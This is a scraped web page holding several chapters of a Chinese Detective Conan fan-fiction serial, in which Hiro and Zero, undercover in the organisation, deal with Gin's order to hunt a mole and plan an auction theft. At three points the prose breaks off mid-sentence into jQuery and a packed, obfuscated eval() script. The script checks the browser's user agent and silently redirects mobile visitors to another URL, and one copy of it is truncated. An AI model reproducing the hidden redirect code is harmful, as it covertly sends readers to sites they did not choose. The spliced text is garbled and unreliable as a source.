$(''#content'').append('' 的确去过那场宴会,拿走了朗姆需要的情报,还撞见了琴酒。但他是亲自追的我,现场没有狙击手。” “你到底是什么时候搭上组织这条线的?” “很早,早到甚至没意识到对面就是我的目标。”降谷零道,“我为朗姆做了一些事后,他邀请我加入组织,但不是通过他,而是通过琴酒,所以我那段时间才一直在琴酒的眼皮底下活动。” “你见过朗姆吗?” 降谷零摇头。“他一直以电话或邮件的方式联系我,我唯一知道的就是他与琴酒之间似乎存在嫌隙,所以他才会让我先与琴酒在明面上接触,也许是希望拿到行动组的情报。” “内斗吗?”景光思忖。 “我认为可行,不过需要谨慎行事。”降谷零赞成道,“说回苏格兰,你的意思是你和他灵魂互换了三天,除了那个世界的你不是卧底以外,两个世界没有其他区别?” “不确定两个世界的时间流速是否相同,毕竟那边的时间要比这边要整整晚上一个多月。”景光托着下巴轻声道,“其他人的话……也不好说,比如安室透——那边的安室透——的身份我就没法分辨。” “小心他。”降谷零摆出一副“除我以外0个好东西”的愤慨模样。 “知道啦。”景光笑道,“其实相处下来,你们两个确实有点像的,我能拿捏好分寸。倒是你,Zero——你抱着炸弹过来,哪怕自爆身份也要挖出我的情报,是不是太莽撞了?”一丝担忧从他的神情里流露出来,“组织的审查怎么办?万一被发现了,该怎么解释我们认识的事?” “放心吧,hiro,我当然都已经安排好了。而且朗姆因为琴酒的事,给了我很大的自主权;我也试探过苏格兰,他大概也不清楚灵魂互换的事情,而且对组织……”似乎没有那么忠心。降谷零犹豫片刻,还是咽下了这句话,防止影响幼驯染的思路,“他的所有行动都是临时决定的,所以显得有些茫然?”降谷零不确定地说道。 “我遇见了那个世界的高明哥。根据他的说法,苏格兰应该在7岁时就遇见了组织的人,但我的记忆里完全没有组织的存在。为什么会出现这种差别,我还得再去调查。” “你还要去那个世界?” “不是我能决定的。”景光抿唇,“什么时候去、去多久、能不能回来……这些我现在都一无所知。也许一分钟后我又会离开,也许这只是世界迟来的愚人节玩笑,但无论如何,我得做好准备。” “是我们。”降谷零强调道,“我会帮你的,hiro。既然苏格兰是组织的人,与他接触必然能够了解到更多组织内幕。于公于私,你都别想把我隔绝在这件事情之外。” “当然,我现在在组织里还得仰仗你呢,朗姆的亲信。” 景光笑着说道,握在手里的手机震动一下,弹出一封邮件: 【明晚9点,酒吧,独自前来。——GIN】 “琴酒的邮件。”降谷零晃了晃自己的手机,“我也收到了,要我明晚10点独自前去,大概是不要告诉其他人的意思。” “可能因为什么?”对之前几天情况一无所知的景光询问道。 “应该和我们无关,也许是针对今晚的任务,那他大概还约了第三个人。”降谷零推测道,“多想无益,明天再见吧,hiro。” “保护好自己,Zero。”景光送他到玄关,再次拥抱了自己的幼驯染,“明天再见。” 确认楼下无人后,降谷零安静而迅速地离开了。 29. 29 凌晨两点时,景光还停留在自己的身体里。他隐约预感到灵魂互换的事情还会再次发生,但不在最近。以防万一,景光还是连夜为苏格兰留下了一些情报,存在邮箱的草稿箱里,并设置了只有他们自己才知道的密码。 经过降谷零一事后,苏格兰一定已经推测出这个世界的自己是卧底搜查官。他对组织忠心耿耿到出卖自己大概没可能,但对于“陌生人”降谷零就不好说了。 为防止幼驯染莫名其妙地暴露身份,景光在备忘录的最后写道: 【安室透是我的挚友,请不要试图伤害他。虽然我们在两个世界,当你想做什么的时候,我没有办法立刻阻止你,但我会让你明白“做错事就要受罚”的道理的。】 【我会尽力寻找让整件事结束的办法,在这期间,希望我们能够相处愉快,我会扮演好你的角色的。】 景光敲下回车,从头梳理了一遍内容,确认没有该说但忘记说的以及不该说却提到的情报后,短暂地和衣睡了一会儿。三小时后,他在闹铃声里爬起来,将一张通过报纸拼贴粘成的信件装进信封里,贴上邮票,写上特定的收信与发信地址,下楼投递到了几个街区外的路边邮箱中。 由于地址存在问题,这样的邮件将无法被顺利投递,从而滞留邮局,扔进一大堆同样无法被顺利投递的信件中。像这样的信件,整个东京一天将出现产生上百封,木藏于林,随后会有专员负责回收某些特殊信件,并直接交付给对应上线。 这是公安部采用的联系方式之一。 景光寄出的这封信件里有两个名字,他希望借助警视厅的数据库去调查这两人的身份,从而顺藤摸瓜,揪出更多线索。 六月的凌晨五点,天已经亮得差不多了,但街上的店铺都没有开,也看不见行人的影子。景光匆匆去,匆匆回,戴着兜帽,没被任何人看见。 回屋以后,睡意被完全驱赶,景光坐在床上,拿出手机时,发现半小时前有人发给了他一封加密邮件,缀名是波本。 景光顿了顿,想起昨晚在通话记录里看到的那通未知来电,把来电号码输了进去。 邮件解锁,里面是组织的一次任务记录,行动时间是昨晚9点,执行人为波本、绿川隆一与诸星大。最后一个名字的主人,景光倒是在另一个世界见过了,但—— 【波本威士忌?】他回发邮件。 对面很快回了一个笑脸:【怎么样,很有缘分吧?】 果然是Zero。 【没有睡觉?——SW】 【昨晚的任务有些疑点,我稍微查了一下。——BW】 【熬夜会病倒的。——SW】 【我不会轻易生病的。——BW】 【知道啦,大猩猩,一拳锤晕你就老实了。——SW】 【(XD)还说我呢,这个点就收到消息的你其实也没怎么睡吧?快去休息!——BW】 【你也是,不然我真的会锤晕你。——SW】 【(OK)——BW】 景光侧躺在床上,想起高中时他与降谷零一起用打工赚来的零钱买过两台二手机。那时接近期末考试,两人白天打工,晚上学习,景光有时留宿在降谷零家,两人背抵着背给对方发无聊邮件,最后一起笑了出来。 收发邮件的提示音滴滴嘟嘟地在房间里响着,景光忽然感到一阵困意,握着手机的手与精神同时放松下去,嘴角却扬起一点弧度,渐渐地睡着了。 琴酒约他见面的时间是晚上9点,景光昨天向降谷零问清了酒吧的位置,提前了约半小时出门。他赶到时,琴酒与伏特加正坐在一张桌边,面前各放着一只深棕色的威士忌杯。 琴酒没有看他,又或者说,没有看任何人,自顾自地抽着烟,意外地显得悠闲。倒是伏特加瞧见景光,招手喊他过去。 景光坐下没多久,酒保也为他端上了一杯威士忌。大块的球冰撞在杯壁上,发出了清脆声响。 “组织的调酒师技术很好,尝尝吧,绿川。”伏特加状似随意地介绍道。 景光笑笑。“那我不客气了。” 他端起酒杯饮了一口,感到琴酒的目光也落在了他的身上。 酒里加了东西吗?景光思考道。不……如果是特殊药品的话,不会在这种地方。如果是其他药品的话,景光并不担心,他的身体在培训时训练出了一定的抗药性。 他将酒咽了下去。 经过冰镇的酒其实没有太多味道,但冷意下去后,舌尖还会抿到一点残留的余味。再者,威士忌酒自带的煤泥味使它们比其他酒更有辨识度。 “尝得出来吗?”伏特加饶有兴趣地问。 “是嗨棒吧。”景光答道,“一点苏打水,加上……苏格兰威士忌。” “平时喝酒多吗?” “以前被同事拉着聚餐时会喝一些,啤酒比较多,现在不怎么喝了。狙击的话,一点错误也不能出,喝酒手会抖。” “很努力啊!你们这种人都是这样吗?”伏特加直爽地笑道,“我记得前几年也来过一个以前在公司上班的家伙,是因为什么来着?一时冲动所以谋杀了老板?总之胆战心惊地逃到这边来了。能力倒是不错,可惜在一次任务里中了条子的陷阱,为了避免情报泄露,大哥只好先请他……嘿嘿,对吧,大哥?” “不记得了。”琴酒冷淡地回道。 “总而言之,”伏特加仿佛大前辈似的劝告景光,“我们还是很看重你的,绿川,你可别不小心犯了什么错误,浪费大哥的子弹啊。” 景光无动于衷地露出一点微笑,点头道:“我明白的。” 这时,琴酒屈起指背弹了弹烟灰,开口道:“听说你们昨晚的任务——来了几个不速之客?” “似乎是打算从目标手中手中抢夺宝石的、来自另一个神秘组织的人物。具体情况的话……我也不清楚了,波本似乎不太愿意分享情报。”景光绵里藏针地打起了小报告。 这是降谷零在邮件里为他整理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378500|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的内容,对方猜测琴酒会问起关于任务的事,事先预设了一些情形,并给出了处理方式。 以波本在组织里的形象来看,这样的回答是最合适的。 果然,伏特加了然地摆了摆手,几乎像是在宽慰他道:“波本就是这幅德性。” “两个人出手还留不下一个人,你和波本是不是有点废物了?”琴酒冷笑,“昨晚似乎只有诸星干了点儿正事啊。” “诸星君是运气好,所以捡漏了吧?”景光平静自若地直面着琴酒的阴冷目光,“我和波本面对的可是个像魔法师一样难缠的角色,行踪成谜,诡谲难料,与其与这样的人成为敌人,不如想办法将他收为己用。” 琴酒一言不发地看着景光,如同一柄刀要把后者连骨带肉地切开,看看其内里藏着的究竟是草包还是异心一样。伏特加拿起酒杯喝了一口,手指跟着吧台后一台电视机里的音乐在腿上敲着拍子,是日本时下正火的一个偶像团体接的广告。酒保安静地在水台边擦着不知擦过了多少遍的酒杯。 良久,琴酒压了压帽檐。“借口倒是找得不错。” 听声音似乎没有生气。 广告放完,伏特加收回视线,看了看景光没再动过的威士忌,问道:“怎么,苏格兰不合口味吗?” “比起酒……”景光的指尖轻轻滑在杯壁上,沾了点空气冷凝下来的细小水珠,“它还是换个形式更适合我。” 他听见一旁的琴酒低声笑了起来。 “这么说,你看好了苏格兰?” “我还以为这是确定好了的事。”景光道,“不然您为什么请我过来喝酒?” “你猜的不错。按照原本的计划,你是时候该拿到代号了,不过——你在昨晚任务里的失误似乎让BOSS不太满意啊。” “组织不是在钓着我吧,琴酒?”景光适当地展现出了一点脾气,“不然我走遍天涯海角把那个小偷给你揪出来?” “你能做到的话,组织自然不会干涉。但是,还有一个更有趣的办法。” 某种残忍而富有期待性的情绪再一次闪烁在琴酒的瞳孔当中。景光耐着性子问道:“是什么?” “波本与诸星大,你应该也熟悉他们了。”琴酒道,“接下来的一段时间,组织会安排你们三个共同行动,完成组织分派的任务,由波本统一调度。尽管如此,你不必完全听他指挥,我会许可给你自由行动的权利。波本反对的话,让他有胆子就来找我好了。” 伏特加拿出一串钥匙放到景光的酒杯边,接着琴酒的话继续说道:“这是组织为你们准备的安全屋。绿川,你暂时需要与他们一起生活,确保能够紧密监视那两个人。” 景光皱眉。“这听着可不像是要我去完成任务。” “任务是要完成的,但老鼠也是要抓的。”伏特加道。 “你是说——” “卧底。”琴酒如同下达死刑书的法官,一锤定音道,“波本与诸星大,他们之中有一个卧底。” 30. 30(500营养液加更) 琴酒抡下的法官锤没能砸在桌上,而是砸在了景光的脑袋上,砸得他脑壳子嗡嗡。 “他们两个?”景光稳住心神,反问道,“你确定吗?” “怎么,你有能证明他们两个不是的证据?那我倒是愿意听听。”琴酒哼笑一声。 卧底不是他们两个的话,就是你咯。——景光敏锐地察觉到了这层意思,连忙止住自己打探信息的嘴。 “我也是第一次做这种工作嘛,琴酒。”景光笑着打岔道,“如果可以的话,我想请教一下判断卧底的办法。” 这个话题似乎戳中了琴酒的兴趣,被组织上下公认为最强杀手的男人平淡地突出两个字:“气味。” “气味?” “啊——那些会在别人家地下打洞的老鼠,带着鬼鬼祟祟和见不得人的气味,像是在垃圾堆里睡了十天十夜一样,熏得人十里之外就能闻见。” 景光顿时无言。 对不起,老鼠就在你面前呢,你怎么不来闻闻看? “你在想,自己闻起来是什么气味,还想让我来闻一闻,对吧?”琴酒冷不丁地说道,“呵呵……就是你脸上这种紧张又慌乱的表情,每次在那些老鼠的脸上见到,我都觉得有趣极了。” “别吓唬我啦,琴酒,是我问得太多惹你烦了。”景光怀着歉意笑了两下,对琴酒的恐吓似乎一脸不在乎的模样,“总而言之,我只需要找出他俩之间的那个卧底。时限呢?” “两个周。” “如果他两个周内都没有动作呢?卧底应该有所谓的上线吧,如果他一直不联系上线,我没有证据怎么办?” “抓老鼠,当然要先骗老鼠出洞。” “我明白了。”景光点头,“最后让我确认一遍——我如果抓到了老鼠,那么就能拿到代号,但如果没有呢?” “别像伏特加一样问蠢问题,绿川,”琴酒道,一旁的伏特加完全不以为耻地笑了两声,“这会让我怀疑那个女人对你的评价。” 那个女人? 能让琴酒用这种语气提起来的女性,景光只能想到自己在那个世界认识的贝尔摩德。 难道前几天苏格兰已经代替他见过了贝尔摩德? 不是,他不还是个底层成员吗?哪怕和贝尔摩德见面也没什么好聊的吧?苏格兰到底给对方留下了什么印象,甚至能让贝尔摩德在琴酒面前说上两句。 景光不知道,景光很犯愁。 他收起安全屋的钥匙,站起身,抄起威士忌杯一饮而尽。 “苏格兰,我就不客气地收下了。”景光用手背擦掉嘴角残留的酒液,放下杯子,转身便走。 微微化了的球冰叮铃铃地在杯内打转,景光感觉到琴酒与伏特加的视线一直逗留在他身上,直到他从酒吧离开。 这场对话大概进行了半个小时,再过半个小时就是琴酒与降谷零约定的时间。 景光不打算立刻与对方联系。这明显是组织的一次谈话测试,恐怕他、Zero与诸星大都被叫了过去,而且都收到了“抓老鼠”的任务。 在这种情况下,他和Zero绝对不能暴露联系。 昨晚的任务一定出了差错,所以才会引来今天这一出,然而,组织无法确定卧底是谁,或者更大胆地假设——组织其实根本没有察觉到问题,一切只是琴酒的疑心病犯了,所以才会让三个人互相猜忌,一边出任务做组织的苦力,一边兼职卧底探子,活得比间谍还间谍。 既然如此,琴酒真正想要的是什么答案就很耐人斟酌了。 景光从钥匙环上扯下一张印着安全屋地址的卡片,决定先去那边看看。他没什么要收拾的行李,提了贝斯包与几件衣服就走。 安全屋位于荒川区的一栋民宅里,不远处建着几家工厂,白天时有轻微噪声。 景光拿钥匙进门时,客厅里的灯是开着的。戴黑色针织帽的男人站在玄关前,目不转睛地看向他。光照在他的背后,使他发暗的脸显得阴森。 “绿川。”男人主动向他打了招呼。 这是景光第一次见到自己世界的诸星大,似乎没有什么区别。 “晚上好,诸星君。”景光面对他,手探到身后带上门锁,进了屋。 屋子的面积比景光从外面看到的要大,三室一厅,还有一间用于存放武器的暗室。 景光仿佛巡视领地一般,一间间地查看过去,问诸星大道:“你选房间了吗?” “没有。” “那等波本到了再说吧,毕竟我们得听他指挥。”景光道,其实心里已经看好了两个位于走廊同侧、窗户都朝北开的房间,方便他与降谷零避开诸星大偷偷接触。 最后,景光转到厨房,看看橱柜,又看看冰箱——果不其然,里面没有食材。他举止放松,像是立刻把这里当做了新家。 诸星大打开窗户,倚在案台边,右手捏着点燃的烟,左手握着笔在一张纸条上写字。 “琴酒也告诉了你吧?”他边写边问。 “嗯……看来我们得暂时住在一起,直到任务完成了。请多关照啦,诸星君。”景光笑眯眯地凑到诸星大身边,看清了他写在纸条上的内容: “我们三个人中有一个卧底,我不是,你呢?” 景光从他手中接过笔,写道:“这种问题有意义吗?” 诸星大用空出的手摸出烟盒,朝上轻轻一甩,弹出一支烟来,抵到景光面前。 这人还挺大方……景光想。加上那个世界的诸星大,这已经是他第二次被这个带针织帽的青年请烟了。上次他们不熟,这次尽管也不熟,但在对方看来,他们似乎是熟的——甚至熟到能暗中交流情报,因此景光没有再次拒绝。 在这种时代里,青年点烟用的竟然还是火柴。他将划燃的火柴递过来时,眼睛没有看着景光,而是望向景光的侧后方。 景光判断了一下,正好是门的位置。下一个会从那里进屋的人是降谷零。 既然卧底不是我,也不是你,不如我们一起把波本票出去如何?——诸星大想暗示的正是这个意思。 “不了,”景光轻轻将手挡在烟前,拒绝了诸星大的火柴,“我带着打火机。” “不喜欢火柴?” “太老派了,”景光道,“我可不是这么讲究的人,而且,火柴消耗得会比打火机快吧。” “有道理,也许以后我会试试打火机的。” 景光按动打火轮的第一下差点被吓得脱了手。 不是吧,苏格兰到底背着他跟诸星大聊过什么?怎么他拒绝了对方票走波本的提议后,对方还能继续同意与他合作? 不会在他不知道的时候,苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384787|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格兰和诸星大结盟了吧? 这么说来…… 景光忽然记起自己也和那个世界的安室透结成了战略合作伙伴关系——意思是无难时合作,有难时战略性分家,现在他也没什么立场责怪苏格兰自作主张了。 不论是诸星大,还是那个世界的安室透,都像是一有时机就会将盟友剖光吃净的□□,景光都不敢相信他们,所以只能像在悬崖边跳舞般一边合作,一边试探。当然,试探的主要是安室透,诸星大直接在他心里被打了个大黑叉。 “没有食物了,”景光道,“现在时间不算晚,我来的时候看见附近有家生鲜超市,要去看看吗?” “好啊。” 说这话时,诸星大正拧开水龙头,冲走了被刚刚那根火柴烧掉的纸条的灰烬。他们留在纸条上的铅字混入其中,随水流涌进了不见天日的下水道,成为无数被堙灭的证据之一。 两人决定前往生鲜超市,离开时没有关上客厅的灯,为的是一目了然地告诉波本他们已经提前到了。 “诸星君是混血吧?”景光从货架上挑了一袋西芹放进推车里,随意问道。生鲜超市里的生活气息似乎能够冲淡一切远离日常的要素,就连诸星大看着也没那么冷血无情了。 “他们很早就不管我了,都是我一个人走下来的。”诸星大说着,顺手抓了两袋速冻意面扔进推车里。 ……冷静点,你和诸星大不熟,他爱吃什么吃什么,吃到营养不良面黄肌瘦也不管你事——景光试图说服自己忽视同伴在生鲜超市购买速冻食品这件事,并连带忽略了接下来的速冻牛排与速冻饭团。 他好奇地问:“莫非诸星君不擅长做饭?” “能吃就行了吧?” “对西餐或者和食有偏好吗?” “都差不多。” 滴水不漏的答复。景光根本没法从中判断诸星大平时的生活环境。 根据五官倒是能够看出诸星大身上另一半的血来自欧美国家,但他的日语很流利,如果不是双亲中有日本人,就是在日本生活过一段时间。 “不用在我身上浪费时间了,绿川。” “我们得共同生活一段时间,提前了解同居人的生活习惯可是很重要的,诸星君。” 结账用了景光的卡——他这时才发现卡里莫名其妙少了些钱,心想苏格兰真不把他的钱当外人,这么敢花是贝尔摩德教他的吗? 似乎是见他数了下金额,诸星大便提出平摊,被景光开玩笑似的挡回去。 “放心吧,诸星君,我还没有穷到那种地步。”景光将两个装满的购物袋分了一个给诸星大,“想还人情的话,以后还有机会的。” 两人搭出租回去,进门还没放下手里的东西,就看见那个按理来说早该到了的青年坐在沙发上,抱着一台电脑,脚边散着一地被捏坏了爆出线头的监听器。 青年捏着留下来的最后一个监听器,轻声威胁道:“要怎么查就是事了,琴酒。妨碍我的话,连你我也能查个底朝天。” Zero加油!景光在心里挥了挥给幼驯染鼓劲的拳头。 他没能乐太久,因为下一秒,他的幼驯染碾碎手里的监听器,面色不善、阴阳怪气地看向了他与诸星大的方向,冷声道: “呦,一起从超市回来,真打算长住在这儿了?” 31. 31 “既来之则安之。照琴酒的说法,我们可有不少任务要做呢,波本。” 首先开口的是景光,但随后,诸星大放下手里的购物袋,真诚又挑衅地说道:“如果你能用一天完成琴酒的要求,我也奉陪。” “哦?”降谷零勾起半边嘴角,愉快表示,“既然你这么主动,我就直接把你交到琴酒手上好了。” “这么心急,你是害怕什么吗?”诸星大反问。 一问一答间,三人全都明白了——眼下并非是“只有自己受到信任”的顺风局面,而是琴酒认为他们都有嫌疑,并且好不在意他们知道此事。 假如这里有卧底,那几乎是摆明了告诉对方:我们已经发现你了,二对一,快逃吧——逃的话,我们就有理由杀死你了。 坏消息是,这里真的有卧底,且真的是二对一。 好消息是,卧底是二。 ……开玩笑的,真要到了不得不逃的那天,景光说什么也不会把幼驯染拉下水。 现在的关键在于,他得搞清楚琴酒的意图。 这个临时拼凑起来的三人小组,包含已知的两名卧底与一名非代号成员,怎么看都不会对组织忠心耿耿——除非这个世界的诸星大还在与女友的热恋期中,并为了女友致力于做组织的狗。 把这样的三个人放在一起,与其说是抓卧底,不如说是让他们内耗。等两个周时间一过,无论是不是真有卧底,他们都会被打磨得老实一点。 因此,景光认为他的任务重点不是抓卧底,而是找出一个能够打消琴酒怀疑、令这个男人愿意接受的答案。 琴酒这一招很险毒。 一方面,他利用了三个人无法信任对方的心理创造了一个封闭困境——从早到晚面临质疑自己的人,而自己也要去质疑他们,这对人的心力消耗是非常大的。 但凡在这里的不是降谷零,而是什么升谷零、降谷十、李谷一,景光都不会像现在这样有底。 三人各怀鬼胎地看了一会儿,直到景光感觉自己站在玄关里不动实在太傻了,瞥了眼墙上的挂表,说道:“时间不早了,波本,我们还没决定房间呢。” “我还以为你们已经绕开我定好了呢。”降谷零看着提起行李往其中一个房间走的景光,冷冷指道,“你最好把手放下,那是我的房间。” “是吗?”景光遗憾松开了按在门把上的手,自然地往旁边走了两步,住进了降谷零的隔壁。 Zero果然与他思路一致,选择了北向的两个房间。景光简单地安置好,走出来时,看见诸星大住到了他的对面。 话说——他们刚刚买的速冻食品是不是还放在外面? 活爹,你就买吧,买了又不管,不出十天,屋子里能臭得让邻居以为藏了尸体。 作为目前三人里看着最像常识人的常识人,景光任命地收拾起了冰箱。 “怎么样了?”被他暗中蛐蛐的人突然进了厨房。 “结束。”景光合上冰箱门,“有什么事,诸星君?” “波本要开会讨论明天的任务。” “这么快?” “时间不等人。”诸星大深深地看了他一眼。 景光默:此人竟然还没放弃票走波本。 降谷零用的电脑是可拆卸的款式,屏幕与键盘一拆就是单独的一块平板。他把平板放到茶几上,低着脖子,没有表情,景光却看出他有些不适应。 想当初,降谷零能对着警校的白板一讲两个小时,讲完白板变黑板,上头塞得全是干货——也许这里很快就要有一面金发大老师的专用白板了,景光暗笑。 降谷零示意两人坐下,继续用他那种裹着蜜和芥末的语气说道:“你们已经一起出过两次任务了,想必不用再做什么介绍,我也很了解你们的情况。来说说我吧——安室透,代号波本,负责统筹你们这段时间的任务。我不喜欢应付一些蠢麻烦,所以希望你们都能放聪明点。当然,对于那件事——我很期待看到你们的表现。” 他以居高临下的姿态提起了卧底问题,摆明了说“我不在乎这个,就看你们谁会出问题了。” 他碰了碰平板,屏幕亮起,呈现出一张稍显粗糙但信息明确的建筑内部立体地图。 “明晚八点,一场拍卖会将在世田谷区的地下举行,我们的目标是本次拍卖会其中一个展品——” 降谷零划动平板,一本灰黄色的皮质书出现在他们面前,书封上刻着涂了金粉的耶稣受难像,书脊上嵌着一颗亮眼的鸽血红。 “一本来公元10世纪的《圣经》。”他道,“组织不会在这种地方浪费经费,我们需要把书偷出来,同时找到提供卖品的人,解决他。” “没有窗户,用不上狙击手吧?”景光划回示地图。 “你和诸星以员工的身份潜入。诸星负责外场接待,绿川负责内场勤务。”降谷零下滑一次,调出两张员工证来。 他解释道:“这家拍卖场通常在拍卖结束后与卖家当面对账付款,所以目标明天一定会在现场出现。绿川需要在拍卖开始前拿到书,并找到卖家名单,传给诸星,到时我们用耳麦联系,有问题吗?” 两人对分工倒是无所谓,但诸星大问道:“你呢?” “我?”像是觉得这问题可笑似的,降谷零勾起嘴角,“我来想办法让你们潜入。” “行了,有意见也晚了。”他切断话题,“我已经把你们的信息提给了拍卖场的系统后台,明天你们需要提前两个小时报道,装得像一点——我说你呢,诸星,服务业的可别冷着一张脸。” 降谷零盯着诸星大,那一瞬间,景光以为后者的口轮匝肌即将带动双唇露出一个假笑了,但最终没有。从头冷淡到尾的青年只是微微颔首,说道:“好。” “绿川呢?”降谷零没多计较。 “我会注意的。”景光笑道。 降谷零点头,收起平板,最后环视了两人一眼。“昨晚的任务,看似没有失败,实则出了什么问题——某些人自己心里清楚。我们之所以沦落到这种地步,也是你造成的。明天的任务不允许出错,否则……” 他没再细讲,但意在不言之中。 这之后,三人解散,各自回了房间。景光很快关上灯,但一直没有睡。大约两个小时后,他轻手轻脚地走出房门,左拐,压下门把,推开了门。 门合页质量很好,没有发出任何声音。 降谷零站在窗边,窗外是一片紫灰色的高楼与闪烁着红光的航空障碍灯。他一脸严肃,似乎要开启什么重要话题,但景光阻止他道:“先听我说。” “你说。”对方还是一脸严肃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393585|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“早上你补过觉了吗?” 降谷零一秒破功。“补过啦。” “好吧。”景光从幼驯染的表情上选择了相信他,“琴酒对我们三个的说法应该是一样的——‘除你之外,另外两人中有一个卧底’,所以我认为,他还没有具体的怀疑对象。” “要我们三人搭档是组织的命令,但抓卧底是琴酒自己的想法。”降谷零道,“昨晚我提交上去的那份CIA卧底名单,我自己看过一遍,里面的确提到了几名CIA探员,但都是死亡状态。” “过去的卧底名单吗?” “或者——有人拿过去的偷换了现在的。” “会是‘他’做的吗?” “不……我查过酒店的监控录像,那个时间段甚至没人进出。” “用绳子吊下去呢?” “12层楼,楼底还有一场枪战,风险太大,不合理。” “要么就是有人协助他,要么就是组织内已经藏着一个CIA的卧底。” 降谷零赞成道:“琴酒现在最怀疑的应该是我和他。实在不行的话,我们把他推出去。” “真巧,他也是这么想的。” “他和你?栽赃我?”降谷零见了鬼似的,“他哪来的胆子?” “我猜苏格兰在那几天和他达成了合作关系。我们之间唯一的共同利益估计只有获取代号这一点,所以他想和我联手对付你这个代号成员也是正常的。”景光道,“这样也好,我和他聊过了,他或许是个不错的合作伙伴。” “是吗?”降谷零质疑,“我怎么觉得他两面三刀,口蜜腹剑,今天和你逛超市,明天就能卖了你。” “那不是很好吗?只要我不给他留下把柄,和他绑定就是安全的,反倒是我们两个不能走得太近。” Hiro。 景光看见幼驯染比的口型。 “放心,我有分寸。”他说,“话说明天的任务,你要我做内勤,是还有什么别的打算吧?” “嗯。昨晚的任务有个疑点,我刚刚才调查明白。那个抢走宝石、把我们耍了一通的男人并不是Parrot,真正的Parrot是和目标一起死在诸星大手下的一个杀手。” 景光理了一遍逻辑。“你说过那俩兄弟拿错了提箱,所以假Parrot注意到了这一点,也知道真Parrot的到来,而真Parrot对此一无所知,才会去原定的宝石交易地点,但那里只有一份卧底名单。” “没错。” “为什么他们会犯拿错提箱的低级错误?” “也许……CIA的卧底提前发现了他们,在偷换提箱的时候不小心改变了提箱的位置,导致他们拿错了。” “还有一种可能是,他们只是普通地拿错了,然后CIA的卧底在现场换了提箱。” “这样一来,一直注视着现场的他就很有嫌疑了。”降谷零顿了顿,迟疑地说,“三个人,三个卧底?” “呃……应该不可能。” “总之,”降谷零道,“如果假Parrot的目标是宝石,那么明天,他也有可能来盗取嵌在那本书里的‘圣子’——我就不信抓不到他。” “拿他邀功也是不错的选择。”景光微笑。 幼驯染们一拍即合,就这样决定了明天的行动方案。 32. 是上帝也是恶魔(一) 这是伊豆关忠在拍卖场工作的第三年,第一次担任后台勤务的负责人。一切顺利的话,他将获得本次拍卖会所有卖品最终销售额0.3%的分成。仅这个数字就已经是他几个月的工资了。 今晚当职的同事都是他的熟人,他与他们处得好,不必担心被暗中下绊子。唯一需要在意的,是那个名为绿川隆一的新人。 对方是由拍卖场的幕后出资人之一、藤原集团的副董事塞进来的关系户,据称是藤原女士的近亲。这瞒不过伊豆关忠的眼睛——他在绿川前来报道的第一秒,就看出了两人没有亲属关系。 既然如此,大概是藤原女士在外养的什么小白脸吧。堂堂大男人,吃软饭就吃软饭,又不丢人,藏着掖着做什么。鄙视。 这样想着,伊豆关忠却不会在面上有丝毫不尊敬。他正笑盈盈地像尊弥勒佛一样,领着小白脸熟悉后台。 “今晚的流程是:8点,客人入场,8点半,拍卖会正式开始,每20分钟一件卖品,大概持续到11点结束。在这三个小时里,你需要在每件卖品售出后,及时查看买主的资产状况,并依据比例计算分成金额。”伊豆关忠说道。 这是他好不容易为绿川准备的后台最清闲的一个职务,即使出错也不会影响全局。 “好的,伊豆前辈。”小白脸倒是态度端正,不安地问道,“请问会有其他前辈和我一起吗?其实我的算数不太好呢。” 果然是小白脸,不学无术。 伊豆关忠笑了笑,宽慰道:“其实你连‘1+1’都用不着算,电脑就能帮你算完了。你的真正工作是应付那些闯进后台的卖家,告诉他们今晚就能结账,不用担心现金流的问题。” “不过嘛,咱们拍卖场的背后有不少大佬做担保,已经正常运转很多年了,几乎没人会在这里闹事。”伊豆关忠得意地扬起下巴,“所以——你安心坐上三个小时就成。” “那真是太好了!”小白脸仿佛松了口气般,走路的步子都轻快许多。 “从这里左转,右手边第二个屋子——”伊豆关忠带小白脸穿过拐角,进入另一条走廊,“就是你今晚要待的地方,清账室。差点忘了问,你对电脑还算擅长吧?” “放心吧,前辈,我在藤原女士那边学过。” “行。”伊豆关忠点头,“清账室和你隔壁的检对室是最靠近前台的地方,能够听见外面的麦克风声,方便你知道进度。” “检对室?”绿川好奇。 “卖品会被送到那里进行最后检对,确认无误后再送上前台。这可是后台最重要的工作之一,我干了可有整整两年。” “诶?我还以为卖品会直接放在那里。” “你傻啊。我刚才不是说过这里离前台近嘛,要是有人随便进来乱偷东西怎么办?”伊豆关忠振振有词地指点道,“咱们拍卖场的卖品预估价可都在两千万以上,为避免弄丢,都放在离前台最远的保险库里,被严加看守。” 绿川小鸡啄米似的点头,认真得就差拿本本子记下来了。 